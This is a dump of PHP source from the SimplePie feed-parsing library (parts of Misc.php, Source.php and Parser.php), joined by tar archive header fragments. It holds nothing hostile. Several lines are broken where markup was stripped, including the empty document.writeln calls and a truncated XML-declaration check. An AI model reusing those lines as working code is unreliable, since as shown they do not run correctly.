'xhtml': case 'application/xhtml+xml': return \SimplePie\SimplePie::CONSTRUCT_XHTML | $mode; default: return \SimplePie\SimplePie::CONSTRUCT_NONE | $mode; } } return \SimplePie\SimplePie::CONSTRUCT_TEXT | $mode; } public static function atom_10_construct_type($attribs) { if (isset($attribs['']['type'])) { switch (strtolower(trim($attribs['']['type']))) { case 'text': return \SimplePie\SimplePie::CONSTRUCT_TEXT; case 'html': return \SimplePie\SimplePie::CONSTRUCT_HTML; case 'xhtml': return \SimplePie\SimplePie::CONSTRUCT_XHTML; default: return \SimplePie\SimplePie::CONSTRUCT_NONE; } } return \SimplePie\SimplePie::CONSTRUCT_TEXT; } public static function atom_10_content_construct_type($attribs) { if (isset($attribs['']['type'])) { $type = strtolower(trim($attribs['']['type'])); switch ($type) { case 'text': return \SimplePie\SimplePie::CONSTRUCT_TEXT; case 'html': return \SimplePie\SimplePie::CONSTRUCT_HTML; case 'xhtml': return \SimplePie\SimplePie::CONSTRUCT_XHTML; } if (in_array(substr($type, -4), ['+xml', '/xml']) || substr($type, 0, 5) === 'text/') { return \SimplePie\SimplePie::CONSTRUCT_NONE; } else { return \SimplePie\SimplePie::CONSTRUCT_BASE64; } } return \SimplePie\SimplePie::CONSTRUCT_TEXT; } public static function is_isegment_nz_nc($string) { return (bool) preg_match('/^([A-Za-z0-9\-._~\x{A0}-\x{D7FF}\x{F900}-\x{FDCF}\x{FDF0}-\x{FFEF}\x{10000}-\x{1FFFD}\x{20000}-\x{2FFFD}\x{30000}-\x{3FFFD}\x{40000}-\x{4FFFD}\x{50000}-\x{5FFFD}\x{60000}-\x{6FFFD}\x{70000}-\x{7FFFD}\x{80000}-\x{8FFFD}\x{90000}-\x{9FFFD}\x{A0000}-\x{AFFFD}\x{B0000}-\x{BFFFD}\x{C0000}-\x{CFFFD}\x{D0000}-\x{DFFFD}\x{E1000}-\x{EFFFD}!$&\'()*+,;=@]|(%[0-9ABCDEF]{2}))+$/u', $string); } public static function space_separated_tokens($string) { $space_characters = "\x20\x09\x0A\x0B\x0C\x0D"; $string_length = strlen($string); $position = strspn($string, $space_characters); $tokens = []; while ($position < $string_length) { $len = strcspn($string, $space_characters, $position); $tokens[] = substr($string, $position, $len); $position += $len; $position += strspn($string, $space_characters, $position); } return $tokens; } /** * Converts a unicode codepoint to a UTF-8 character * * @static * @param int $codepoint Unicode codepoint * @return string UTF-8 character */ public static function codepoint_to_utf8($codepoint) { $codepoint = (int) $codepoint; if ($codepoint < 0) { return false; } elseif ($codepoint <= 0x7f) { return chr($codepoint); } elseif ($codepoint <= 0x7ff) { return chr(0xc0 | ($codepoint >> 6)) . chr(0x80 | ($codepoint & 0x3f)); } elseif ($codepoint <= 0xffff) { return chr(0xe0 | ($codepoint >> 12)) . chr(0x80 | (($codepoint >> 6) & 0x3f)) . chr(0x80 | ($codepoint & 0x3f)); } elseif ($codepoint <= 0x10ffff) { return chr(0xf0 | ($codepoint >> 18)) . chr(0x80 | (($codepoint >> 12) & 0x3f)) . chr(0x80 | (($codepoint >> 6) & 0x3f)) . chr(0x80 | ($codepoint & 0x3f)); } // U+FFFD REPLACEMENT CHARACTER return "\xEF\xBF\xBD"; } /** * Similar to parse_str() * * Returns an associative array of name/value pairs, where the value is an * array of values that have used the same name * * @static * @param string $str The input string. * @return array */ public static function parse_str($str) { $return = []; $str = explode('&', $str); foreach ($str as $section) { if (strpos($section, '=') !== false) { list($name, $value) = explode('=', $section, 2); $return[urldecode($name)][] = urldecode($value); } else { $return[urldecode($section)][] = null; } } return $return; } /** * Detect XML encoding, as per XML 1.0 Appendix F.1 * * @todo Add support for EBCDIC * @param string $data XML data * @param \SimplePie\Registry $registry Class registry * @return array Possible encodings */ public static function xml_encoding($data, $registry) { // UTF-32 Big Endian BOM if (substr($data, 0, 4) === "\x00\x00\xFE\xFF") { $encoding[] = 'UTF-32BE'; } // UTF-32 Little Endian BOM elseif (substr($data, 0, 4) === "\xFF\xFE\x00\x00") { $encoding[] = 'UTF-32LE'; } // UTF-16 Big Endian BOM elseif (substr($data, 0, 2) === "\xFE\xFF") { $encoding[] = 'UTF-16BE'; } // UTF-16 Little Endian BOM elseif (substr($data, 0, 2) === "\xFF\xFE") { $encoding[] = 'UTF-16LE'; } // UTF-8 BOM elseif (substr($data, 0, 3) === "\xEF\xBB\xBF") { $encoding[] = 'UTF-8'; } // UTF-32 Big Endian Without BOM elseif (substr($data, 0, 20) === "\x00\x00\x00\x3C\x00\x00\x00\x3F\x00\x00\x00\x78\x00\x00\x00\x6D\x00\x00\x00\x6C") { if ($pos = strpos($data, "\x00\x00\x00\x3F\x00\x00\x00\x3E")) { $parser = $registry->create('XML_Declaration_Parser', [Misc::change_encoding(substr($data, 20, $pos - 20), 'UTF-32BE', 'UTF-8')]); if ($parser->parse()) { $encoding[] = $parser->encoding; } } $encoding[] = 'UTF-32BE'; } // UTF-32 Little Endian Without BOM elseif (substr($data, 0, 20) === "\x3C\x00\x00\x00\x3F\x00\x00\x00\x78\x00\x00\x00\x6D\x00\x00\x00\x6C\x00\x00\x00") { if ($pos = strpos($data, "\x3F\x00\x00\x00\x3E\x00\x00\x00")) { $parser = $registry->create('XML_Declaration_Parser', [Misc::change_encoding(substr($data, 20, $pos - 20), 'UTF-32LE', 'UTF-8')]); if ($parser->parse()) { $encoding[] = $parser->encoding; } } $encoding[] = 'UTF-32LE'; } // UTF-16 Big Endian Without BOM elseif (substr($data, 0, 10) === "\x00\x3C\x00\x3F\x00\x78\x00\x6D\x00\x6C") { if ($pos = strpos($data, "\x00\x3F\x00\x3E")) { $parser = $registry->create('XML_Declaration_Parser', [Misc::change_encoding(substr($data, 20, $pos - 10), 'UTF-16BE', 'UTF-8')]); if ($parser->parse()) { $encoding[] = $parser->encoding; } } $encoding[] = 'UTF-16BE'; } // UTF-16 Little Endian Without BOM elseif (substr($data, 0, 10) === "\x3C\x00\x3F\x00\x78\x00\x6D\x00\x6C\x00") { if ($pos = strpos($data, "\x3F\x00\x3E\x00")) { $parser = $registry->create('XML_Declaration_Parser', [Misc::change_encoding(substr($data, 20, $pos - 10), 'UTF-16LE', 'UTF-8')]); if ($parser->parse()) { $encoding[] = $parser->encoding; } } $encoding[] = 'UTF-16LE'; } // US-ASCII (or superset) elseif (substr($data, 0, 5) === "\x3C\x3F\x78\x6D\x6C") { if ($pos = strpos($data, "\x3F\x3E")) { $parser = $registry->create('XML_Declaration_Parser', [substr($data, 5, $pos - 5)]); if ($parser->parse()) { $encoding[] = $parser->encoding; } } $encoding[] = 'UTF-8'; } // Fallback to UTF-8 else { $encoding[] = 'UTF-8'; } return $encoding; } public static function output_javascript() { if (function_exists('ob_gzhandler')) { ob_start('ob_gzhandler'); } header('Content-type: text/javascript; charset: UTF-8'); header('Cache-Control: must-revalidate'); header('Expires: ' . gmdate('D, d M Y H:i:s', time() + 604800) . ' GMT'); // 7 days $body = <<'); } else { document.writeln(''); } } function embed_flash(bgcolor, width, height, link, loop, type) { document.writeln(''); } function embed_flv(width, height, link, placeholder, loop, player) { document.writeln(''); } function embed_wmedia(width, height, link) { document.writeln(''); } END; echo $body; } /** * Get the SimplePie build timestamp * * Uses the git index if it exists, otherwise uses the modification time * of the newest file. */ public static function get_build() { if (static::$SIMPLEPIE_BUILD !== null) { return static::$SIMPLEPIE_BUILD; } $root = dirname(dirname(__FILE__)); if (file_exists($root . '/.git/index')) { static::$SIMPLEPIE_BUILD = filemtime($root . '/.git/index'); return static::$SIMPLEPIE_BUILD; } elseif (file_exists($root . '/SimplePie')) { $time = 0; foreach (glob($root . '/SimplePie/*.php') as $file) { if (($mtime = filemtime($file)) > $time) { $time = $mtime; } } static::$SIMPLEPIE_BUILD = $time; return static::$SIMPLEPIE_BUILD; } elseif (file_exists(dirname(__FILE__) . '/Core.php')) { static::$SIMPLEPIE_BUILD = filemtime(dirname(__FILE__) . '/Core.php'); return static::$SIMPLEPIE_BUILD; } static::$SIMPLEPIE_BUILD = filemtime(__FILE__); return static::$SIMPLEPIE_BUILD; } /** * Get the default user agent string * * @return string */ public static function get_default_useragent() { return \SimplePie\SimplePie::NAME . '/' . \SimplePie\SimplePie::VERSION . ' (Feed Parser; ' . \SimplePie\SimplePie::URL . '; Allow like Gecko) Build/' . static::get_build(); } /** * Format debugging information */ public static function debug(&$sp) { $info = 'SimplePie ' . \SimplePie\SimplePie::VERSION . ' Build ' . static::get_build() . "\n"; $info .= 'PHP ' . PHP_VERSION . "\n"; if ($sp->error() !== null) { $info .= 'Error occurred: ' . $sp->error() . "\n"; } else { $info .= "No error found.\n"; } $info .= "Extensions:\n"; $extensions = ['pcre', 'curl', 'zlib', 'mbstring', 'iconv', 'xmlreader', 'xml']; foreach ($extensions as $ext) { if (extension_loaded($ext)) { $info .= " $ext loaded\n"; switch ($ext) { case 'pcre': $info .= ' Version ' . PCRE_VERSION . "\n"; break; case 'curl': $version = curl_version(); $info .= ' Version ' . $version['version'] . "\n"; break; case 'mbstring': $info .= ' Overloading: ' . mb_get_info('func_overload') . "\n"; break; case 'iconv': $info .= ' Version ' . ICONV_VERSION . "\n"; break; case 'xml': $info .= ' Version ' . LIBXML_DOTTED_VERSION . "\n"; break; } } else { $info .= " $ext not loaded\n"; } } return $info; } public static function silence_errors($num, $str) { // No-op } /** * Sanitize a URL by removing HTTP credentials. * @param string $url the URL to sanitize. * @return string the same URL without HTTP credentials. */ public static function url_remove_credentials($url) { return preg_replace('#^(https?://)[^/:@]+:[^/:@]+@#i', '$1', $url); } } class_alias('SimplePie\Misc', 'SimplePie_Misc', false); res/simplepie/src/Source.php000064400000057105147577714370012122 0ustar00` * * Used by {@see \SimplePie\Item::get_source()} * * This class can be overloaded with {@see \SimplePie::set_source_class()} * * @package SimplePie * @subpackage API */ class Source { public $item; public $data = []; protected $registry; public function __construct($item, $data) { $this->item = $item; $this->data = $data; } public function set_registry(\SimplePie\Registry $registry) { $this->registry = $registry; } public function __toString() { return md5(serialize($this->data)); } public function get_source_tags($namespace, $tag) { if (isset($this->data['child'][$namespace][$tag])) { return $this->data['child'][$namespace][$tag]; } return null; } public function get_base($element = []) { return $this->item->get_base($element); } public function sanitize($data, $type, $base = '') { return $this->item->sanitize($data, $type, $base); } public function get_item() { return $this->item; } public function get_title() { if ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'title')) { return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', [$return[0]['attribs']]), $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'title')) { return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', [$return[0]['attribs']]), $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_10, 'title')) { return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_090, 'title')) { return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'title')) { return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'title')) { return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'title')) { return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } return null; } public function get_category($key = 0) { $categories = $this->get_categories(); if (isset($categories[$key])) { return $categories[$key]; } return null; } public function get_categories() { $categories = []; foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'category') as $category) { $term = null; $scheme = null; $label = null; if (isset($category['attribs']['']['term'])) { $term = $this->sanitize($category['attribs']['']['term'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($category['attribs']['']['scheme'])) { $scheme = $this->sanitize($category['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($category['attribs']['']['label'])) { $label = $this->sanitize($category['attribs']['']['label'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } $categories[] = $this->registry->create('Category', [$term, $scheme, $label]); } foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'category') as $category) { // This is really the label, but keep this as the term also for BC. // Label will also work on retrieving because that falls back to term. $term = $this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); if (isset($category['attribs']['']['domain'])) { $scheme = $this->sanitize($category['attribs']['']['domain'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } else { $scheme = null; } $categories[] = $this->registry->create('Category', [$term, $scheme, null]); } foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'subject') as $category) { $categories[] = $this->registry->create('Category', [$this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null]); } foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'subject') as $category) { $categories[] = $this->registry->create('Category', [$this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null]); } if (!empty($categories)) { return array_unique($categories); } return null; } public function get_author($key = 0) { $authors = $this->get_authors(); if (isset($authors[$key])) { return $authors[$key]; } return null; } public function get_authors() { $authors = []; foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'author') as $author) { $name = null; $uri = null; $email = null; if (isset($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['name'][0]['data'])) { $name = $this->sanitize($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['name'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0]['data'])) { $uri = $this->sanitize($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0])); } if (isset($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['email'][0]['data'])) { $email = $this->sanitize($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['email'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if ($name !== null || $email !== null || $uri !== null) { $authors[] = $this->registry->create('Author', [$name, $uri, $email]); } } if ($author = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'author')) { $name = null; $url = null; $email = null; if (isset($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['name'][0]['data'])) { $name = $this->sanitize($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['name'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0]['data'])) { $url = $this->sanitize($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0])); } if (isset($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['email'][0]['data'])) { $email = $this->sanitize($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['email'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if ($name !== null || $email !== null || $url !== null) { $authors[] = $this->registry->create('Author', [$name, $url, $email]); } } foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'creator') as $author) { $authors[] = $this->registry->create('Author', [$this->sanitize($author['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null]); } foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'creator') as $author) { $authors[] = $this->registry->create('Author', [$this->sanitize($author['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null]); } foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'author') as $author) { $authors[] = $this->registry->create('Author', [$this->sanitize($author['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null]); } if (!empty($authors)) { return array_unique($authors); } return null; } public function get_contributor($key = 0) { $contributors = $this->get_contributors(); if (isset($contributors[$key])) { return $contributors[$key]; } return null; } public function get_contributors() { $contributors = []; foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'contributor') as $contributor) { $name = null; $uri = null; $email = null; if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['name'][0]['data'])) { $name = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['name'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0]['data'])) { $uri = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0])); } if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['email'][0]['data'])) { $email = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['email'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if ($name !== null || $email !== null || $uri !== null) { $contributors[] = $this->registry->create('Author', [$name, $uri, $email]); } } foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'contributor') as $contributor) { $name = null; $url = null; $email = null; if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['name'][0]['data'])) { $name = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['name'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0]['data'])) { $url = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0])); } if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['email'][0]['data'])) { $email = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['email'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if ($name !== null || $email !== null || $url !== null) { $contributors[] = $this->registry->create('Author', [$name, $url, $email]); } } if (!empty($contributors)) { return array_unique($contributors); } return null; } public function get_link($key = 0, $rel = 'alternate') { $links = $this->get_links($rel); if (isset($links[$key])) { return $links[$key]; } return null; } /** * Added for parity between the parent-level and the item/entry-level. */ public function get_permalink() { return $this->get_link(0); } public function get_links($rel = 'alternate') { if (!isset($this->data['links'])) { $this->data['links'] = []; if ($links = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'link')) { foreach ($links as $link) { if (isset($link['attribs']['']['href'])) { $link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate'; $this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($link)); } } } if ($links = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'link')) { foreach ($links as $link) { if (isset($link['attribs']['']['href'])) { $link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate'; $this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($link)); } } } if ($links = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_10, 'link')) { $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($links[0])); } if ($links = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_090, 'link')) { $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($links[0])); } if ($links = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'link')) { $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($links[0])); } $keys = array_keys($this->data['links']); foreach ($keys as $key) { if ($this->registry->call('Misc', 'is_isegment_nz_nc', [$key])) { if (isset($this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key])) { $this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key] = array_merge($this->data['links'][$key], $this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key]); $this->data['links'][$key] =& $this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key]; } else { $this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key] =& $this->data['links'][$key]; } } elseif (substr($key, 0, 41) === \SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY) { $this->data['links'][substr($key, 41)] =& $this->data['links'][$key]; } $this->data['links'][$key] = array_unique($this->data['links'][$key]); } } if (isset($this->data['links'][$rel])) { return $this->data['links'][$rel]; } return null; } public function get_description() { if ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'subtitle')) { return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', [$return[0]['attribs']]), $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'tagline')) { return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', [$return[0]['attribs']]), $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_10, 'description')) { return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_090, 'description')) { return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'description')) { return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'description')) { return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'description')) { return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'summary')) { return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'subtitle')) { return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_HTML, $this->get_base($return[0])); } return null; } public function get_copyright() { if ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'rights')) { return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', [$return[0]['attribs']]), $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'copyright')) { return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', [$return[0]['attribs']]), $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'copyright')) { return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'rights')) { return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'rights')) { return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } return null; } public function get_language() { if ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'language')) { return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'language')) { return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'language')) { return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } elseif (isset($this->data['xml_lang'])) { return $this->sanitize($this->data['xml_lang'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } return null; } public function get_latitude() { if ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_W3C_BASIC_GEO, 'lat')) { return (float) $return[0]['data']; } elseif (($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match)) { return (float) $match[1]; } return null; } public function get_longitude() { if ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_W3C_BASIC_GEO, 'long')) { return (float) $return[0]['data']; } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_W3C_BASIC_GEO, 'lon')) { return (float) $return[0]['data']; } elseif (($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match)) { return (float) $match[2]; } return null; } public function get_image_url() { if ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'image')) { return $this->sanitize($return[0]['attribs']['']['href'], \SimplePie\SimplePie::CONSTRUCT_IRI); } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'logo')) { return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'icon')) { return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($return[0])); } return null; } } class_alias('SimplePie\Source', 'SimplePie_Source'); res/simplepie/src/Parser.php000064400000103554147577714370012116 0ustar00registry = $registry; } public function parse(&$data, $encoding, $url = '') { if (class_exists('DOMXpath') && function_exists('Mf2\parse')) { $doc = new \DOMDocument(); @$doc->loadHTML($data); $xpath = new \DOMXpath($doc); // Check for both h-feed and h-entry, as both a feed with no entries // and a list of entries without an h-feed wrapper are both valid. $query = '//*[contains(concat(" ", @class, " "), " h-feed ") or '. 'contains(concat(" ", @class, " "), " h-entry ")]'; $result = $xpath->query($query); if ($result->length !== 0) { return $this->parse_microformats($data, $url); } } // Use UTF-8 if we get passed US-ASCII, as every US-ASCII character is a UTF-8 character if (strtoupper($encoding) === 'US-ASCII') { $this->encoding = 'UTF-8'; } else { $this->encoding = $encoding; } // Strip BOM: // UTF-32 Big Endian BOM if (substr($data, 0, 4) === "\x00\x00\xFE\xFF") { $data = substr($data, 4); } // UTF-32 Little Endian BOM elseif (substr($data, 0, 4) === "\xFF\xFE\x00\x00") { $data = substr($data, 4); } // UTF-16 Big Endian BOM elseif (substr($data, 0, 2) === "\xFE\xFF") { $data = substr($data, 2); } // UTF-16 Little Endian BOM elseif (substr($data, 0, 2) === "\xFF\xFE") { $data = substr($data, 2); } // UTF-8 BOM elseif (substr($data, 0, 3) === "\xEF\xBB\xBF") { $data = substr($data, 3); } if (substr($data, 0, 5) === '')) !== false) { $declaration = $this->registry->create('XML_Declaration_Parser', [substr($data, 5, $pos - 5)]); if ($declaration->parse()) { $data = substr($data, $pos + 2); $data = 'version . '" encoding="' . $encoding . '" standalone="' . (($declaration->standalone) ? 'yes' : 'no') . '"?>' ."\n". $this->declare_html_entities() . $data; } else { $this->error_string = 'SimplePie bug! Please report this!'; return false; } } $return = true; static $xml_is_sane = null; if ($xml_is_sane === null) { $parser_check = xml_parser_create(); xml_parse_into_struct($parser_check, '&', $values); xml_parser_free($parser_check); $xml_is_sane = isset($values[0]['value']); } // Create the parser if ($xml_is_sane) { $xml = xml_parser_create_ns($this->encoding, $this->separator); xml_parser_set_option($xml, XML_OPTION_SKIP_WHITE, 1); xml_parser_set_option($xml, XML_OPTION_CASE_FOLDING, 0); xml_set_object($xml, $this); xml_set_character_data_handler($xml, 'cdata'); xml_set_element_handler($xml, 'tag_open', 'tag_close'); // Parse! $wrapper = 